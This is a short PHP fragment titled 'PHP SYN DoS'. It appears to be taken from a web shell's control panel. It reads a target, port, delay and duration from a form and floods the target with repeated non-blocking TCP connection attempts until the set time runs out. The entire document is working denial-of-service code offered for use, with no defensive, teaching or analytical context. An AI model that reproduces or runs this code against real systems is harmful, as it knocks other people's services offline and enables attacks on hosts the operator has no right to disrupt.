PHP SYN DoS

elseif (isset($_POST["exec_dossyn"])) {
    set_time_limit(0);
    if (!chkfunc("socket_create")) exit("Cannot create socket");
    $target = $_POST["text"];
    $port = intval($_POST["text_port"]);
    $dly = intval($_POST["text_dly"]) * 10;
    $dur = intval($_POST["text_dur"]);
    if ($port == 0) exit("Port cannot be 0");
    if ($dur == 0) exit("Durration cannot be 0");
    $indos = true;
    $start = microtime_flt();
    $socks = array();
    $numsocks = 0;
    echo "Starting DoS\n";
    while ($indos) {
        $numsocks++;
        $socks[$numsocks] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        if (!$socks[$numsocks]) continue;
        @socket_set_nonblock($socks[$numsocks]);
        for ($j = 0; $j < 20; $j++)
            @socket_connect($socks[$numsocks], $target, $port);
        $chktime = round(microtime_flt() - $start);
        if ($chktime >= $dur) $indos = false;
        usleep($dly);
    }
    echo "DoS complete\n";
    sleep(1);
    echo "Closing sockets...\n";
    for ($j = 0; $j < $numsocks; $j++) { if ($socks[$j]) @socket_close($socks[$j]); }
    echo "Complete";
    exit();
}